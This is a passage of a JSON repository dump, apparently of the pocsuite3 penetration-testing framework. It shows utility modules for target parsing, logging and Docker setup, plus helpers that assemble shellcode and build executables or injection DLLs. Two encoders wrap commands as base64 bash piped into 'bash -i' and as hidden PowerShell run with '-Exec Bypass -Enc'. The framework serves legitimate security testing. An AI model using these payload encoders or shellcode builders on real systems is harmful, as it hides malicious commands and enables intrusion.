ret\n\n\ndef poll_process(process, suppress_errors=False):\n    \"\"\"\n    Checks for process status (prints . if still running)\n    \"\"\"\n\n    while True:\n        data_to_stdout(\".\")\n        time.sleep(1)\n\n        return_code = process.poll()\n\n        if return_code is not None:\n            if not suppress_errors:\n                if return_code == 0:\n                    data_to_stdout(\" done\\n\")\n                elif return_code < 0:\n                    data_to_stdout(\" process terminated by signal {}\\n\".format(return_code))\n                elif return_code > 0:\n                    data_to_stdout(\" quit unexpectedly with return code {}\\n\".format(return_code))\n\n            break\n\n\ndef parse_target_url(url):\n    \"\"\"\n    Parse target URL\n    \"\"\"\n    try:\n        pr = urlparse(url)\n        if pr.scheme.lower() not in ['http', 'https', 'ws', 'wss']:\n            url = pr._replace(scheme='https' if str(pr.port).endswith('443') else 'http').geturl()\n    except ValueError:\n        pass\n\n    return url\n\n\ndef is_url_format(value):\n    if value and re.match(URL_ADDRESS_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_domain_format(value):\n    if value and re.match(URL_DOMAIN_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_ip_address_format(value):\n    if value and re.match(IP_ADDRESS_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_ip_address_with_port_format(value):\n    if value and re.match(IP_ADDRESS_WITH_PORT_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_ipv6_address_format(value):\n    if value and re.match(IPV6_ADDRESS_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_ipv6_url_format(value):\n    if value and re.match(IPV6_URL_REGEX, value):\n        return True\n    else:\n        return False\n\n\ndef is_old_version_poc(poc_string):\n    for _ in OLD_VERSION_CHARACTER:\n        if _ in poc_string:\n            return True\n    return False\n\n\ndef is_pocsuite_poc(poc_string):\n    for _ in POCSUITE_VERSION_CHARACTER:\n        if _ in poc_string:\n            return True\n    return False\n\n\ndef is_pocsuite3_poc(poc_string):\n    return True if \"pocsuite3\" in poc_string else False\n\n\ndef multiple_replace(text, adict):\n    rx = re.compile(\"|\".join(map(re.escape, adict)))\n\n    def get_replace(match):\n        return adict[match.group(0)]\n\n    return rx.sub(get_replace, text)\n\n\ndef get_filename(filepath, with_ext=True):\n    base_name = os.path.basename(filepath)\n    return base_name if with_ext else os.path.splitext(base_name)[0]\n\n\ndef get_md5(value):\n    if isinstance(value, str):\n        value = value.encode(encoding='UTF-8')\n    return hashlib.md5(value).hexdigest()\n\n\ndef extract_cookies(cookie):\n    cookies = dict([i.split(\"=\", 1) for i in cookie.split(\"; \")])\n    return cookies\n\n\ndef get_file_items(filename, comment_prefix='#', unicode=True, lowercase=False, unique=False):\n    ret = list() if not unique else OrderedDict()\n\n    check_file(filename)\n\n    try:\n        with open(filename, 'rb') as f:\n            for line in f.readlines():\n                line = line.strip()\n                if unicode:\n                    encoding = chardet.detect(line)['encoding'] or 'utf-8'\n                    line = line.decode(encoding)\n\n                if comment_prefix and line.startswith(comment_prefix):\n                    continue\n\n                if line:\n                    if lowercase:\n                        line = line.lower()\n\n                    if unique and line in ret:\n                        continue\n\n                    if unique:\n                        ret[line] = True\n\n                    else:\n                        ret.append(line)\n\n    except (IOError, OSError, MemoryError) as ex:\n        err_msg = \"something went wrong while trying \"\n        err_msg += \"to read the content of file '{0}' ('{1}')\".format(filename, ex)\n        raise PocsuiteSystemException(err_msg)\n\n    return ret if not unique else ret.keys()\n\n\ndef parse_target(address, additional_ports=[], skip_target_port=False):\n    # parse IPv4/IPv6 CIDR\n    targets = OrderedSet()\n    try:\n        hosts = list(ip_network(address, strict=False).hosts())\n        '''\n        fix https://github.com/knownsec/pocsuite3/issues/319\n        different python versions have different behaviors on ipaddress library\n        '''\n        try:\n            t = ip_address(address.replace('/32', '').replace('/128', ''))\n            if t not in hosts:\n                hosts.append(t)\n        except ValueError:\n            pass\n\n        for ip in hosts:\n\n            if ip.version == 6:\n                conf.ipv6 = True\n\n            if not skip_target_port:\n                targets.add(str(ip))\n\n            for probe in additional_ports:\n                probe = str(probe)\n                # [proto:]port\n                scheme, port = '', probe\n                if len(probe.split(':')) == 2:\n                    scheme, port = probe.split(':')\n\n                if scheme:\n                    targets.add(f'{scheme}://[{ip}]:{port}' if conf.get('ipv6', False) else f'{scheme}://{ip}:{port}')\n                else:\n                    targets.add(f'[{ip}]:{port}' if conf.get('ipv6', False) else f'{ip}:{port}')\n\n        return targets\n\n    except ValueError:\n        pass\n\n    # URL\n    try:\n        if ip_address(urlparse(address).hostname).version == 6:\n            conf.ipv6 = True\n    except ValueError:\n        pass\n\n    if not skip_target_port:\n        targets.add(address)\n\n    try:\n        pr = urlparse(address)\n        for probe in additional_ports:\n            probe = str(probe)\n            # [proto:]port\n            scheme, port = '', probe\n            if len(probe.split(':')) == 2:\n                scheme, port = probe.split(':')\n\n            netloc = f'[{pr.hostname}]:{port}' if conf.get('ipv6', False) else f'{pr.hostname}:{port}'\n            t = pr._replace(netloc=netloc)\n            if scheme:\n                t = t._replace(scheme=scheme)\n\n            t = t.geturl()\n            if t.startswith('tcp://'):\n                t = t.lstrip('tcp://')\n            targets.add(t)\n    except ValueError:\n        pass\n\n    return targets\n\n\ndef parse_poc_docker_name(name):\n    return name.lower().replace(' ', '_')\n\n\ndef single_time_log_message(message, level=logging.INFO, flag=None):\n    if flag is None:\n        flag = hash(message)\n\n    if flag not in kb.single_log_flags:\n        kb.single_log_flags.add(flag)\n        logger.log(level, message)\n\n\ndef single_time_debug_message(message):\n    single_time_log_message(message, logging.DEBUG)\n\n\ndef single_time_warn_message(message):\n    single_time_log_message(message, logging.WARN)\n\n\n@cachedmethod\ndef get_public_type_members(type_, only_values=False):\n    \"\"\"\n    Useful for getting members from types (e.g. in enums)\n    \"\"\"\n\n    ret = []\n\n    for name, value in inspect.getmembers(type_):\n        if not name.startswith(\"__\"):\n            if not only_values:\n                ret.append((name, value))\n            else:\n                ret.append(value)\n\n    return ret\n\n\ndef is_local_ip(ip_string):\n    ret = False\n    if ip_string and isinstance(ip_string, str) and re.match(LOCAL_IP_ADDRESS_REGEX, ip_string):\n        ret = True\n    return ret\n\n\ndef get_local_ip(all=True):\n    \"\"\"Fetches all the local network address\n    \"\"\"\n    ips = OrderedSet()\n    wan_ipv4 = get_host_ip(check_private=False)\n    ips.add(wan_ipv4)\n    if not all:\n        return list(ips)\n\n    wan_ipv6 = get_host_ipv6()\n    if wan_ipv6:\n        ips.add(wan_ipv6)\n\n    # fix https://github.com/BVLC/caffe/issues/861\n    os.environ[\"MPLBACKEND\"] = \"Agg\"\n\n    # fix https://github.com/secdev/scapy/issues/3216\n    logging.getLogger(\"scapy\").setLevel(logging.ERROR)\n\n    from scapy.all import WINDOWS, get_if_list, get_if_addr\n\n    if WINDOWS:\n        from scapy.all import IFACES\n        for iface in sorted(IFACES):\n            dev = IFACES[iface]\n            ips.add(dev.ip)\n    else:\n        for iface in get_if_list():\n            ipv4 = get_if_addr(iface)\n            if ipv4 != '0.0.0.0':\n                ips.add(ipv4)\n\n    return list(ips)\n\n\ndef get_host_ip(dst='8.8.8.8', check_private=True):\n    \"\"\" Fetches source ipv4 address when connect to dst\n\n    Args:\n        dst <str>: target ip or domain\n\n    Returns:\n        <str>:  source ip address\n    \"\"\"\n\n    # maybe docker env\n    if dst == ['127.0.0.1', 'localhost']:\n        dst = '8.8.8.8'\n\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.connect((dst, 80))\n        ip = s.getsockname()[0]\n    except Exception:\n        ip = '127.0.0.1'\n    finally:\n        s.close()\n\n    if check_private and ip_address(ip).is_private:\n        logger.warn(\n            f'your wan ip {mosaic(ip)} is a private ip, '\n            'there may be some issues in the next stages of exploitation'\n        )\n    return ip\n\n\ndef has_poll():\n    return hasattr(select, \"poll\")\n\n\ndef get_poc_requires(code):\n    return extract_regex_result(POC_REQUIRES_REGEX, code)\n\n\ndef get_poc_name(code):\n    if re.search(r'register_poc', code):\n        return extract_regex_result(r\"\"\"(?sm)POCBase\\):.*?name\\s*=\\s*['\"](?P<result>.*?)['\"]\"\"\", code)\n    elif re.search(r'matchers:\\s*-', code):\n        return extract_regex_result(r\"\"\"(?sm)\\s*name\\s*:\\s*(?P<result>[^\\r\\n]*).*matchers:\"\"\", code)\n    return ''\n\n\ndef is_os_64bit():\n    return machine().endswith('64')\n\n\ndef write_file(data, file_ext='', file_name=''):\n    \"\"\"\n        Function to create file\n    \"\"\"\n\n    if not file_ext.startswith('.'):\n        file_ext = '.' + file_ext\n    if not file_name:\n        file_name = TIMESTAMP\n    file_name += file_ext\n    file_path = os.path.join(paths.POCSUITE_TMP_PATH, file_name)\n\n    fd = open(file_path, 'wb+')\n    fd.write(data)\n    fd.close()\n\n    return file_path\n\n\ndef search_file(filename, search_path):\n    \"\"\"\n        Given a search path, find file\n    \"\"\"\n    path = os.path.join(search_path, filename)\n    if os.path.exists(path):\n        return path\n    return None\n\n\ndef get_objective_code(asm_file, target_arch, debug=0):\n    \"\"\"\n        Get objective code (file: *.o)\n    \"\"\"\n    if target_arch == OS_ARCH.X86:\n        output_format = 'elf'\n    elif target_arch == OS_ARCH.X64:\n        output_format = 'elf64'\n    else:\n        print(\"Format for output objective file is not defined\")\n        return None\n\n    if not asm_file:\n        print(\"You must specify some params passed to function\")\n        return None\n\n    obj_file = (asm_file.split('.'))[0] + \".o\"\n\n    app = 'nasm'  # Application that do magic for us\n    if OS_SYSTEM == OS.WINDOWS:\n        app += '.exe'\n        find_app = search_file(\"%s\" % app, paths.SHELLCODES_DEV_PATH)\n        if find_app:\n            if debug:\n                print(\"app: '%s' found at %s\" % (app, find_app))\n        else:\n            print(\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n            return None\n    elif OS_SYSTEM == OS.LINUX:\n        find_app = app\n    else:\n        print(\"Can't understand source os\")\n        return None\n\n    command = \"%s -f%s -o%s %s\" % (find_app, output_format, obj_file, asm_file)\n    if debug:\n        print(command)\n    res = call([find_app, \"-f\", output_format, \"-o\", obj_file, asm_file])\n    if res == 0:\n        if debug:\n            print(\"Objective code has been created\")\n        return obj_file\n    else:\n        print(\"Something wrong while getting objective code\")\n        return None\n\n\ndef objdump(obj_file, os_target_arch, debug=0):\n    \"\"\"\n        Get shellcode with objdump utility\n    \"\"\"\n\n    res = ''\n    if not obj_file:\n        print(\"You must specify some params passed to function\")\n        return None\n    else:\n        app = 'objdump'\n        if OS_SYSTEM == OS.WINDOWS:\n            app += \".exe\"\n\n            find_app = search_file(\"%s\" % app, paths.SHELLCODES_DEV_PATH)\n            if find_app:\n                if debug:\n                    print(\"app: '%s' found at %s\" % (app, find_app))\n            else:\n                print(\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n                return None\n        elif OS_SYSTEM == OS.LINUX:\n            find_app = app\n        else:\n            print(\"Can't understand source os\")\n            return None\n\n        if os_target_arch == OS_ARCH.X86:\n            p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE)\n        elif os_target_arch == OS_ARCH.X64:\n            p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE)\n        else:\n            print(\"OS TARGET ARCH '%s' is not supported\" % os_target_arch)\n            return\n\n        (stdout, stderr) = p.communicate()\n        if p.returncode == 0:\n            for line in stdout.splitlines():\n                cols = line.split('\\t')\n                if len(cols) >= 2:\n                    for b in [b for b in cols[1].split(' ') if b != '']:\n                        res = res + ('\\\\x%s' % b)\n        else:\n            raise ValueError(stderr)\n\n    if res and debug:\n        print(\"objdump is created\")\n\n    return res\n\n\ndef create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename=\"\", dll_inj_funcs=[]):\n    if os_target == OS.LINUX:\n        dll_inj_funcs = []\n    if not is_os_64bit() and os_target_arch == OS_ARCH.X64:\n        print(\"ERR: can not create shellcode for this os_target_arch ({0}) on os_arch ({1})\".format(os_target_arch,\n                                                                                                    OS_ARCH.X64))\n        return None\n    asm_file = write_file(asm_code, '.asm', filename)\n    obj_file = get_objective_code(asm_file, os_target_arch, debug)\n\n    # stage_2:\n    if obj_file:\n        shellcode = objdump(obj_file, os_target_arch, debug)\n        shellcode = shellcode.replace('\\\\x', '').decode('hex')\n        # shellcode = extract_shell_from_obj(obj_file)\n    else:\n        return None\n    if make_exe:\n        make_binary_from_obj(obj_file, os_target, os_target_arch, debug)\n    if dll_inj_funcs:\n        generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug)\n    return shellcode, asm_file.split(\".\")[0]\n\n\ndef generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug):\n    asm_code = asm_code.replace(\"global _start\", \"\").replace(\"_start:\", \"\")\n    additional_code = \"\"\n    for func in dll_inj_funcs:\n        additional_code += \"global _{}\\r\\n\".format(func)\n    for func in dll_inj_funcs:\n        additional_code += \"_{}:\\r\\n\".format(func)\n    asm_code = additional_code + asm_code\n    asm_file = write_file(asm_code, '.asm', filename)\n    obj_file = get_objective_code(asm_file, os_target_arch, debug)\n    make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True)\n\n\ndef make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False):\n    \"\"\"\n        Function for test shellcode with app written on c-language\n    \"\"\"\n    if is_dll and os_target == OS.LINUX:\n        print('Dll can be generated only for WINDOWS OS')\n        return None\n    app = 'ld'\n    find_app = ''\n    if OS_SYSTEM == OS.WINDOWS:\n        if os_target == OS.LINUX:\n            app += '.gold'\n        elif os_target == OS.WINDOWS and os_target_arch == OS_ARCH.X64:\n            app += '64'\n        app += '.exe'\n        find_app = search_file(\"%s\" % app, paths.SHELLCODES_DEV_PATH)\n        if find_app:\n            if debug:\n                print(\"app: '%s' found at %s\" % (app, find_app))\n        else:\n            print(\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n            return None\n    elif OS_SYSTEM == OS.LINUX:\n        find_app = app\n    else:\n        print(\"Can't understand source os: %s\" % OS_SYSTEM)\n        return None\n\n    c_exe = (o_file.split('.'))[0]\n    commands_list = [find_app, '-o', c_exe, o_file, '--strip-all']\n    if OS_SYSTEM == OS.LINUX:\n        if os_target == OS.WINDOWS:\n            commands_list.append('-m')\n            commands_list.append('i386pe')\n        if is_dll:\n            commands_list.append('-shared')\n        p = Popen(commands_list)\n        p.communicate()\n    elif OS_SYSTEM == OS.WINDOWS:\n        if is_dll:\n            commands_list.append('-shared')\n        p = Popen(commands_list)\n        p.communicate()\n    else:\n        print(\"ERR: source os (%s) is not supported\" % OS_SYSTEM)\n    if os_target == OS.WINDOWS:\n        newname = c_exe + '.dll' if is_dll else c_exe + '.exe'\n        if os.path.exists(newname):\n            os.remove(newname)\n        os.rename(c_exe, newname)\n    print(\"Complete. Now you can try to execute file: %s\" % c_exe)\n\n\ndef extract_shell_from_obj(file):\n    with open(file, 'rb') as f:\n        contents = f.read()\n    flag = contents[4]\n    if flag == '\\x01':\n        length = struct.unpack('<H', contents[124:126])[0]\n        contents = contents[272:272 + length]\n    elif flag == '\\x02':\n        length = struct.unpack('<H', contents[160:162])[0]\n        contents = contents[384:384 + length]\n    else:\n        raise Exception(\"Unknown architecture. Can't extract shellcode\")\n    print(', '.join('0x%02x' % ord(c) for c in contents))\n    return contents\n\n\ndef replace_by_real_values(shellcode, kwargs):\n    for key, value in kwargs.items():\n        shellcode = shellcode.replace(key, value)\n    return shellcode\n\n\ndef ip_to_hex(ip, is_big=True):\n    parts = [int(part) for part in ip.split('.')]\n    if is_big:\n        return ''.join(chr(part) for part in parts).encode()\n    return ''.join(chr(part) for part in reversed(parts)).encode()\n\n\ndef port_to_hex(port, is_big=True):\n    if is_big:\n        return struct.pack('>H', port)\n    return struct.pack('<H', port)\n\n\ndef validate_ip_addr(addr):\n    import socket\n    try:\n        socket.inet_aton(addr)\n        return True\n    except socket.error:\n        return False\n\n\ndef ip_to_dd(addr):\n    return ''.join('%02x' % int(x) for x in reversed(addr.split('.'))).encode()\n\n\ndef port_to_dd(port):\n    return ''.join('%02x' % x for x in struct.pack('<H', port)).encode()\n\n\ndef get_unicode(value):\n    result = chardet.detect(value)\n    charset = result['encoding'] or UNICODE_ENCODING\n    return value.decode(charset)\n\n\ndef rtrim(text, char):\n    \"\"\"\n    Delete the specified character on the right\n    :param text: str\n    :param char: character\n    :return:\n    \"\"\"\n    length = len(char)\n    if length > len(text):\n        return text\n    if char == text[-length:]:\n        text = text[:-length]\n    return text\n\n\ndef ltrim(text, char):\n    \"\"\"\n    Delete the specified character on the left\n    :param text: str\n    :param char: character\n    :return:\n    \"\"\"\n    length = len(char)\n    if length > len(text):\n        return text\n    if char == text[:length]:\n        text = text[length:]\n    return text\n\n\ndef index_modules(modules_directory):\n    \"\"\" Returns list of all exploits modules\n\n    :param str modules_directory: path to modules directory\n    :return list: list of found modules\n    \"\"\"\n\n    modules = []\n    for root, _, files in os.walk(modules_directory):\n        files = filter(lambda x: not x.startswith(\"__\") and x.endswith(\".py\") or x.endswith(\".yaml\"), files)\n        modules.extend(map(lambda x: os.path.join(root, os.path.splitext(x)[0]), files))\n\n    return modules\n\n\ndef humanize_path(path: str) -> str:\n    \"\"\" Replace python dotted path to directory-like one.\n\n    ex. foo.bar.baz -> foo/bar/baz\n\n    :param str path: path to humanize\n    :return str: humanized path\n    \"\"\"\n\n    return path.replace(\".\", os.sep)\n\n\ndef pythonize_path(path: str) -> str:\n    \"\"\" Replaces argument to valid python dotted notation.\n\n    ex. foo/bar/baz -> foo.bar.baz\n\n    :param str path: path to pythonize\n    :return str: pythonized path\n    \"\"\"\n\n    return path.replace(os.sep, \".\")\n\n\ndef module_required(fn):\n    \"\"\" Checks if module is loaded.\n\n    Decorator that checks if any module is activated\n    before executing command specific to modules (ex. 'run').\n    \"\"\"\n\n    @wraps(fn)\n    def wrapper(self, *args, **kwargs):\n        if not self.current_module:\n            logger.error(\"You have to activate any module with 'use' command.\")\n            return\n        return fn(self, *args, **kwargs)\n\n    try:\n        name = \"module_required\"\n        wrapper.__decorators__.append(name)\n    except AttributeError:\n        wrapper.__decorators__ = [name]\n    return wrapper\n\n\ndef stop_after(space_number):\n    \"\"\" Decorator that determines when to stop tab-completion\n\n    Decorator that tells command specific complete function\n    (ex. \"complete_use\") when to stop tab-completion.\n    Decorator counts number of spaces (' ') in line in order\n    to determine when to stop.\n\n        ex. \"use exploits/dlink/specific_module \" -> stop complete after 2 spaces\n        \"set rhost \" -> stop completing after 2 spaces\n        \"run \" -> stop after 1 space\n\n    :param space_number: number of spaces (' ') after which tab-completion should stop\n    :return:\n    \"\"\"\n\n    def _outer_wrapper(wrapped_function):\n        @wraps(wrapped_function)\n        def _wrapper(self, *args, **kwargs):\n            try:\n                if args[1].count(\" \") == space_number:\n                    return []\n            except Exception as err:\n                logger.error(err)\n            return wrapped_function(self, *args, **kwargs)\n\n        return _wrapper\n\n    return _outer_wrapper\n\n\ndef check_port(ip, port):\n    res = socket.getaddrinfo(ip, port, socket.AF_UNSPEC, socket.SOCK_STREAM)\n    af, sock_type, proto, canonname, sa = res[0]\n    s = socket.socket(af, sock_type, proto)\n\n    try:\n        s.connect(sa)\n        s.shutdown(2)\n        return True\n    except socket.error:\n        return False\n    finally:\n        s.close()\n\n\ndef exec_cmd(cmd, raw_data=True):\n    cmd = shlex.split(cmd)\n    out_data = b''\n    try:\n        p = subprocess.Popen(\n            cmd, shell=False, stdout=subprocess.PIPE,\n            stderr=subprocess.STDOUT)\n        while p.poll() is None:\n            line = p.stdout.read()\n            out_data += line\n    except Exception as ex:\n        logger.error(\"Execute cmd error {}\".format(str(ex)))\n\n    encoding = chardet.detect(out_data).get('encoding')\n    encoding = encoding if encoding else 'utf-8'\n    if IS_WIN:\n        out_data = out_data.split(b'\\r\\n\\r\\n')\n    else:\n        out_data = out_data.split(b'\\n\\n')\n    if not raw_data:\n        for i, data in enumerate(out_data):\n            out_data[i] = data.decode(encoding, errors='ignore')\n\n    return out_data\n\n\ndef mosaic(s):\n    \"\"\" Replacing URL/IPv4/IPv6 Address with asterisk's\n\n    eg. A.B.C.D -> *.*.C.D\n    \"\"\"\n\n    s = str(s)\n    if not conf.get('ppt', False):\n        return s\n\n    scheme = ''\n    t = s.split('://', 1)\n    if len(t) > 1:\n        scheme, s = f'{t[0]}://', t[1]\n\n    # URL/IPv6\n    if len(re.findall(r':', s)) >= 3:\n        t = s.split(':')\n        for i in range(1, len(t) - 2):\n            if ']' in t[i]:\n                break\n            if t[i] != '':\n                t[i] = '*'\n        s = ':'.join(t)\n\n    # URL/IPv4\n    elif len(re.findall(r'\\.', s)) >= 3:\n        t = s.split('.', 4)\n        t[0] = t[1] = '*'\n        s = '.'.join(t)\n\n    elif '.' in s:\n        t = s.split('.')\n        for i in range(0, len(t) - 1):\n            t[i] = '*'\n        s = '.'.join(t)\n    return scheme + s\n\n\ndef encoder_bash_payload(cmd: str) -> str:\n    ret = \"bash -c '{echo,%s}|{base64,-d}|{bash,-i}'\" % base64.b64encode(cmd.encode()).decode()\n    return ret\n\n\ndef encoder_powershell_payload(powershell: str):\n    command = \"powershell -NonI -W Hidden -NoP -Exec Bypass -Enc \" + base64.b64encode(\n        '\\x00'.join(list(powershell)).encode() + b'\\x00').decode()\n    return command\n\n\ndef get_host_ipv6(dst='2001:db8::'):\n    \"\"\" Fetches source ipv6 address when connect to dst\n\n    Args:\n        dst <str>: target ip or domain\n\n    Returns:\n        <str>:  source ipv6 address\n    \"\"\"\n\n    s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\n    try:\n        s.connect((dst, 1027))\n    except socket.error:\n        return None\n    return s.getsockname()[0]\n\n\nclass OrderedSet(collections.OrderedDict, collectionsAbc.MutableSet):\n\n    def add(self, e):\n        self[e] = None\n\n    def discard(self, e):\n        self.pop(e, None)\n\n    def __le__(self, other):\n        return all(e in other for e in self)\n\n    def __lt__(self, other):\n        return self <= other and self != other\n\n    def __ge__(self, other):\n        return all(e in self for e in other)\n\n    def __gt__(self, other):\n        return self >= other and self != other\n\n    def __repr__(self):\n        return 'OrderedSet([%s])' % (', '.join(map(repr, self.keys())))\n\n    def __str__(self):\n        return '{%s}' % (', '.join(map(repr, self.keys())))\n\n\ndef get_file_text(filepath):\n    with open(filepath, 'rb') as f:\n        content = f.read()\n        encoding = chardet.detect(content)['encoding'] or 'utf-8'\n        return content.decode(encoding)\n\n\nif __name__ == '__main__':\n    cmd = 'ping baidu.com'\n    res = exec_cmd(cmd=cmd)\n    print(res)\n"
  },
  {
    "path": "pocsuite3/lib/core/convert.py",
    "content": "import sys\n\nfrom pocsuite3.lib.core.settings import IS_WIN\nfrom pocsuite3.lib.core.settings import UNICODE_ENCODING\n\n\ndef single_time_warn_message(message):\n    \"\"\"\n    Cross-linked function\n    \"\"\"\n    sys.stdout.write(message)\n    sys.stdout.write(\"\\n\")\n    sys.stdout.flush()\n\n\ndef stdout_encode(data):\n    ret = None\n\n    try:\n        data = data or \"\"\n\n        # Reference: http://bugs.python.org/issue1602\n        if IS_WIN:\n            output = data.encode(sys.stdout.encoding, \"replace\")\n\n            if '?' in output and '?' not in data:\n                warn_msg = \"cannot properly display Unicode characters \"\n                warn_msg += \"inside Windows OS command prompt \"\n                warn_msg += \"(http://bugs.python.org/issue1602). All \"\n                warn_msg += \"unhandled occurances will result in \"\n                warn_msg += \"replacement with '?' character. Please, find \"\n                warn_msg += \"proper character representation inside \"\n                warn_msg += \"corresponding output files. \"\n                single_time_warn_message(warn_msg)\n\n            ret = output\n        else:\n            ret = data.encode(sys.stdout.encoding)\n    except Exception:\n        ret = data.encode(UNICODE_ENCODING) if isinstance(data, str) else data\n\n    return ret\n"
  },
  {
    "path": "pocsuite3/lib/core/data.py",
    "content": "from pocsuite3.lib.core.datatype import AttribDict\nfrom pocsuite3.lib.core.log import LOGGER\n\n# logger\nlogger = LOGGER\n\n# object to share within function and classes command\n# line options and settings\nconf = AttribDict()\n\n# Dictionary storing\n# (1)targets, (2)registeredPocs, (3) bruteMode\n# (4)results, (5)pocFiles\n# (6)multiThreadMode \\ threadContinue \\ threadException\nkb = AttribDict()\n\n# object to store original command line options\ncmd_line_options = AttribDict()\n\n# object to store merged options (command line, configuration file and default options)\nmerged_options = AttribDict()\n\n# pocsuite paths\npaths = AttribDict()\n"
  },
  {
    "path": "pocsuite3/lib/core/datatype.py",
    "content": "from collections import OrderedDict\n\n\nclass AttribDict(OrderedDict):\n    \"\"\"\n    AttrDict extends OrderedDict to provide attribute-style access.\n    Items starting with __ or _OrderedDict__ can't be accessed as attributes.\n    \"\"\"\n    __exclude_keys__ = set()\n\n    def __getattr__(self, name):\n        if (name.startswith('__')\n                or name.startswith('_OrderedDict__')\n                or name in self.__exclude_keys__):\n            return super(AttribDict, self).__getattribute__(name)\n        else:\n            try:\n                return self[name]\n            except KeyError:\n                raise AttributeError(name)\n\n    def __setattr__(self, name, value):\n        if (name.startswith('__')\n                or name.startswith('_OrderedDict__')\n                or name in self.__exclude_keys__):\n            return super(AttribDict, self).__setattr__(name, value)\n        self[name] = value\n\n    def __delattr__(self, name):\n        if (name.startswith('__')\n                or name.startswith('_OrderedDict__')\n                or name in self.__exclude_keys__):\n            return super(AttribDict, self).__delattr__(name)\n        del self[name]\n"
  },
  {
    "path": "pocsuite3/lib/core/decorators.py",
    "content": "import hashlib\n\n\ndef cachedmethod(f, cache={}):\n    \"\"\"\n    Method with a cached content\n    Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/\n    \"\"\"\n\n    def _(*args, **kwargs):\n        key_string = \"|\".join(str(_) for _ in (f, args, kwargs)).encode()\n        key = int(hashlib.md5(key_string).hexdigest(), 16) & 0x7fffffffffffffff\n        if key not in cache:\n            cache[key] = f(*args, **kwargs)\n\n        return cache[key]\n\n    return _\n"
  },
  {
    "path": "pocsuite3/lib/core/docker_env.py",
    "content": "from io import BytesIO\nfrom docker import client\nfrom docker import errors\n\n\nfrom pocsuite3.lib.core.data import logger\n\n\nclass DockerEnv:\n\n    def __init__(self):\n        self.client = client.from_env()\n\n    def build(self, name, docker_file):\n        file_obj = BytesIO(docker_file.encode())\n        try:\n            logger.info(\"Building image...\")\n            build_info = self.client.images.build(fileobj=file_obj, tag=name)\n            return build_info\n        except errors.BuildError as e:\n            logger.error(e)\n\n    def run(self, tag_name, docker_file, ports, envs, volumes):\n        try:\n            # if image exists run\n            self.client.images.get(tag_name)\n            logger.info(\"Image {} exists\".format(tag_name))\n            run_info = self.client.containers.run(\n                tag_name,\n                detach=True,\n                ports=ports,\n                environment=envs,\n                volumes=volumes\n            )\n            return run_info\n        except errors.ImageNotFound:\n            # if image not exists, build image first\n            logger.info(\"Image {} does not exist\".format(tag_name))\n            build_info = self.build(tag_name, docker_file)\n            if build_info[0].tags:\n                run_info = self.client.containers.run(\n                    tag_name,\n                    detach=True,\n                    ports=ports,\n                    environment=envs,\n                    volumes=volumes\n                )\n                return run_info\n\n\nif __name__ == \"__main__\":\n    docker_env = DockerEnv()\n    ports = {\"8080/tcp\": '8899', '8090/tcp': (\"127.0.0.1\", 8890)}\n    env = [\"PORT=8899\", \"PORT=8890\"]\n    volumes = [\"/tmp:/home\"]\n    dockerfile = \"FROM ubuntu:latest\"\n    image_tag = \"ubuntu:pocsuite\"\n    docker_env.run(\n        image_tag,\n        docker_file=dockerfile,\n        ports=ports,\n        envs=env,\n        volumes=volumes\n    )\n"
  },
  {
    "path": "pocsuite3/lib/core/enums.py",
    "content": "from pocsuite3.lib.core.datatype import AttribDict\n\n\nclass LOGGING_LEVELS:\n    NOTSET = 0\n    DEBUG = 10\n    INFO = 20\n    WARNING = 30\n    ERROR = 40\n    CRITICAL = 50\n\n\nclass CUSTOM_LOGGING:\n    SYSINFO = 21\n    SUCCESS = 22\n    ERROR = 23\n    WARNING = 24\n\n\nclass OUTPUT_STATUS:\n    SUCCESS = 1\n    FAILED = 0\n\n\nclass HTTP_HEADER:\n    ACCEPT = \"Accept\"\n    ACCEPT_CHARSET = \"Accept-Charset\"\n    ACCEPT_ENCODING = \"Accept-Encoding\"\n    ACCEPT_LANGUAGE = \"Accept-Language\"\n    AUTHORIZATION = \"Authorization\"\n    CACHE_CONTROL = \"Cache-Control\"\n    CONNECTION = \"Connection\"\n    CONTENT_ENCODING = \"Content-Encoding\"\n    CONTENT_LENGTH = \"Content-Length\"\n    CONTENT_RANGE = \"Content-Range\"\n    CONTENT_TYPE = \"Content-Type\"\n    COOKIE = \"Cookie\"\n    EXPIRES = \"Expires\"\n    HOST = \"Host\"\n    IF_MODIFIED_SINCE = \"If-Modified-Since\"\n    LAST_MODIFIED = \"Last-Modified\"\n    LOCATION = \"Location\"\n    PRAGMA = \"Pragma\"\n    PROXY_AUTHORIZATION = \"Proxy-Authorization\"\n    PROXY_CONNECTION = \"Proxy-Connection\"\n    RANGE = \"Range\"\n    REFERER = \"Referer\"\n    REFRESH = \"Refresh\"  # Reference: http://stackoverflow.com/a/283794\n    SERVER = \"Server\"\n    SET_COOKIE = \"Set-Cookie\"\n    TRANSFER_ENCODING = \"Transfer-Encoding\"\n    URI = \"URI\"\n    USER_AGENT = \"User-Agent\"\n    VIA = \"Via\"\n    X_POWERED_BY = \"X-Powered-By\"\n    X_DATA_ORIGIN = \"X-Data-Origin\"\n\n\nclass PROXY_TYPE:\n    HTTP = \"HTTP\"\n    HTTPS = \"HTTPS\"\n    SOCKS4 = \"SOCKS4\"\n    SOCKS5 = \"SOCKS5\"\n    SOCKS5H = \"SOCKS5H\"\n\n\nclass ERROR_TYPE_ID:\n    NOTIMPLEMENTEDERROR = 2\n    CONNECTIONERROR = 3.0\n    HTTPERROR = 3.1\n    CONNECTTIMEOUT = 3.2\n    TOOMANYREDIRECTS = 3.3\n    OTHER 